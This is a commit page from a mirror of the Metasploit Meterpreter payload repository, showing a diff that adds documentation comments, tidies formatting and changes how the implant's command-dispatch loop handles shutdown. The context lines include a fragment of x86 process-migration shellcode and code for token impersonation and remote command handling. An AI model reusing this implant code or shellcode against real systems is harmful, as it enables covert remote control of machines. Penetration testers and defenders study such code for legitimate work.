github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00
Code Releases Activity

Add more documnetation, tidying

Browse Source 
More of the usual, added during investigations.
This commit is contained in:
OJ 2013-11-22 12:12:48 +10:00
parent f3eaadd184
commit c947f9d1f6
5 changed files with 88 additions and 69 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
c/meterpreter/make.bat
View File

@ -46,6 +46,10 @@ IF "%ERRORLEVEL%" == "0" (
) )
) )
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%
GOTO :END GOTO :END
:CLEAN :CLEAN

3
c/meterpreter/source/common/arch/win/i386/base_dispatch.c
View File

@ -1,9 +1,6 @@
#include "common.h" #include "common.h"
#include "base_inject.h" #include "base_inject.h"
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread;
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm' // see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00" BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B" "\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"

22
c/meterpreter/source/common/base.c
View File

@ -247,6 +247,7 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
Command *commands[2] = { baseCommand, extensionCommand }; Command *commands[2] = { baseCommand, extensionCommand };
Command *command = NULL; Command *command = NULL;
DWORD dwIndex; DWORD dwIndex;
LPCSTR lpMethod = NULL;
__try __try
{ {
@ -261,7 +262,8 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
continue; continue;
} }
dprintf("[COMMAND] Executing command %s", command->method); lpMethod = command->method;
dprintf("[COMMAND] Executing command %s", lpMethod);
#ifdef _WIN32 #ifdef _WIN32
// Impersonate the thread token if needed (only on Windows) // Impersonate the thread token if needed (only on Windows)
@ -269,7 +271,7 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
{ {
if (!ImpersonateLoggedOnUser(remote->hThreadToken)) if (!ImpersonateLoggedOnUser(remote->hThreadToken))
{ {
dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError()); dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError());
} }
} }
#endif #endif
@ -287,12 +289,12 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
case PACKET_TLV_TYPE_REQUEST: case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST: case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) { if (command->request.inline_handler) {
dprintf("[DISPATCH] executing inline request handler %s", command->method); dprintf("[DISPATCH] executing inline request handler %s", lpMethod);
serverContinue = command->request.inline_handler(remote, packet, &result); serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue;
} }
else else
{ {
dprintf("[DISPATCH] executing request handler %s", command->method); dprintf("[DISPATCH] executing request handler %s", lpMethod);
result = command->request.handler(remote, packet); result = command->request.handler(remote, packet);
} }
break; break;
@ -300,12 +302,12 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
case PACKET_TLV_TYPE_PLAIN_RESPONSE: case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler) if (command->response.inline_handler)
{ {
dprintf("[DISPATCH] executing inline response handler %s", command->method); dprintf("[DISPATCH] executing inline response handler %s", lpMethod);
serverContinue = command->response.inline_handler(remote, packet, &result); serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue;
} }
else else
{ {
dprintf("[DISPATCH] executing response handler %s", command->method); dprintf("[DISPATCH] executing response handler %s", lpMethod);
result = command->response.handler(remote, packet); result = command->response.handler(remote, packet);
} }
break; break;
@ -325,11 +327,13 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem
{ {
packet_call_completion_handlers(remote, packet, requestId); packet_call_completion_handlers(remote, packet, requestId);
} }
dprintf("[COMMAND] Completion handlers finished for %s. Returning: %s", lpMethod, (serverContinue ? "TRUE" : "FALSE"));
} while (0); } while (0);
} }
__except (EXCEPTION_EXECUTE_HANDLER) __except (EXCEPTION_EXECUTE_HANDLER)
{ {
dprintf("[COMMAND] Exception hit in command %s", command->method); dprintf("[COMMAND] Exception hit in command %s", lpMethod);
} }
packet_destroy(packet); packet_destroy(packet);

4
c/meterpreter/source/common/base_dispatch_common.c
View File

@ -631,9 +631,11 @@ DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResu
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE ); packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response // Transmit the response
dprintf("[DISPATCH] Ack shutdown request");
packet_transmit_response( result, remote, response ); packet_transmit_response( result, remote, response );
*pResult = result; *pResult = result;
return TRUE; dprintf("[DISPATCH] Telling dispatch loop to finish");
return FALSE;
} }

124
c/meterpreter/source/server/server_setup.c
View File

@ -1,3 +1,6 @@
/*!
* @file server_setup.c
*/
#include "metsrv.h" #include "metsrv.h"
#include "../../common/common.h" #include "../../common/common.h"
@ -43,33 +46,37 @@ const unsigned int hAppInstance = 0x504b5320; // 'PKS '
#define PREPEND_INFO "### Info : " #define PREPEND_INFO "### Info : "
#define PREPEND_WARN "### Warn : " #define PREPEND_WARN "### Warn : "
/* /*! * @breif This thread is the main server thread. */
* This thread is the main server thread which we use to syncronize a gracefull static THREAD * serverThread = NULL;
* shutdown of the server during process migration.
*/
THREAD * serverThread = NULL;
/* /*! @brief An array of locks for use by OpenSSL. */
* An array of locks for use by OpenSSL.
*/
static LOCK ** ssl_locks = NULL; static LOCK ** ssl_locks = NULL;
/* /*!
* A callback function used by OpenSSL to leverage native system locks. * @brief A callback function used by OpenSSL to leverage native system locks.
* @param mode The lock mode to set.
* @param type The lock type to operate on.
* @param file Unused.
* @param line Unused.
*/ */
static VOID server_locking_callback( int mode, int type, const char * file, int line ) static VOID server_locking_callback(int mode, int type, const char * file, int line)
{ {
if( mode & CRYPTO_LOCK ) if (mode & CRYPTO_LOCK)
lock_acquire( ssl_locks[type] ); {
lock_acquire(ssl_locks[type]);
}
else else
lock_release( ssl_locks[type] ); {
lock_release(ssl_locks[type]);
}
} }
/* /*!
* A callback function used by OpenSSL to get the current threads id. * @brief A callback function used by OpenSSL to get the current threads id.
* While not needed on windows this must be used for posix meterpreter. * @returns The current thread ID.
* @remarks While not needed on windows this must be used for posix meterpreter.
*/ */
static DWORD server_threadid_callback( VOID ) static DWORD server_threadid_callback(VOID)
{ {
#ifdef _WIN32 #ifdef _WIN32
return GetCurrentThreadId(); return GetCurrentThreadId();
@ -81,7 +88,7 @@ static DWORD server_threadid_callback( VOID )
/* /*
* Callback function for dynamic lock creation for OpenSSL. * Callback function for dynamic lock creation for OpenSSL.
*/ */
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line ) static struct CRYPTO_dynlock_value * server_dynamiclock_create(const char * file, int line)
{ {
return (struct CRYPTO_dynlock_value *)lock_create(); return (struct CRYPTO_dynlock_value *)lock_create();
} }
@ -93,10 +100,14 @@ static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l,
{ {
LOCK * lock = (LOCK *)l; LOCK * lock = (LOCK *)l;
if( mode & CRYPTO_LOCK ) if (mode & CRYPTO_LOCK)
lock_acquire( lock ); {
lock_acquire(lock);
}
else else
lock_release( lock ); {
lock_release(lock);
}
} }
/* /*
@ -322,59 +333,62 @@ static BOOL server_negotiate_ssl(Remote *remote)
return success; return success;
} }
/* /*!
* The servers main dispatch loop for incoming requests using SSL over TCP * @brief The servers main dispatch loop for incoming requests using SSL over TCP
* @param remote Pointer to the remote endpoint for this server connection.
* @returns Indication of success or failure.
*/ */
static DWORD server_dispatch( Remote * remote ) static DWORD server_dispatch(Remote * remote)
{ {
LONG result = ERROR_SUCCESS; BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL; Packet * packet = NULL;
THREAD * cpt = NULL; THREAD * cpt = NULL;
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote ); dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
// Bring up the scheduler subsystem. // Bring up the scheduler subsystem.
result = scheduler_initialize( remote ); result = scheduler_initialize(remote);
if( result != ERROR_SUCCESS ) if (result != ERROR_SUCCESS)
return result;
while( TRUE )
{ {
if( event_poll( serverThread->sigterm, 0 ) ) return result;
}
while (running)
{
if (event_poll(serverThread->sigterm, 0))
{ {
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." ); dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break; break;
} }
result = server_socket_poll( remote, 100 ); result = server_socket_poll(remote, 100);
if( result > 0 ) if (result > 0)
{ {
result = packet_receive( remote, &packet ); result = packet_receive(remote, &packet);
if( result != ERROR_SUCCESS ) { if (result != ERROR_SUCCESS)
dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result ); {
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break; break;
} }
if( !command_handle( remote, packet ) ) running = command_handle(remote, packet);
{ dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
} }
else if( result < 0 ) else if (result < 0)
{ {
dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result ); dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
break; break;
} }
} }
dprintf( "[DISPATCH] calling scheduler_destroy..." ); dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy(); scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." ); dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads(); command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." ); dprintf("[DISPATCH] leaving server_dispatch.");
return result; return result;
} }
@ -385,6 +399,7 @@ static DWORD server_dispatch( Remote * remote )
*/ */
static DWORD server_dispatch_http_wininet( Remote * remote ) static DWORD server_dispatch_http_wininet( Remote * remote )
{ {
BOOL running = TRUE;
LONG result = ERROR_SUCCESS; LONG result = ERROR_SUCCESS;
Packet * packet = NULL; Packet * packet = NULL;
THREAD * cpt = NULL; THREAD * cpt = NULL;
@ -455,7 +470,7 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
if( result != ERROR_SUCCESS ) if( result != ERROR_SUCCESS )
return result; return result;
while( TRUE ) while(running)
{ {
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) { if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to communication timeout"); dprintf("[DISPATCH] Shutting down server due to communication timeout");
@ -501,11 +516,8 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
dprintf("[DISPATCH] Returned result: %d", result); dprintf("[DISPATCH] Returned result: %d", result);
if( !command_handle( remote, packet ) ) running = command_handle(remote, packet);
{ dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
} }
// Close WinInet handles // Close WinInet handles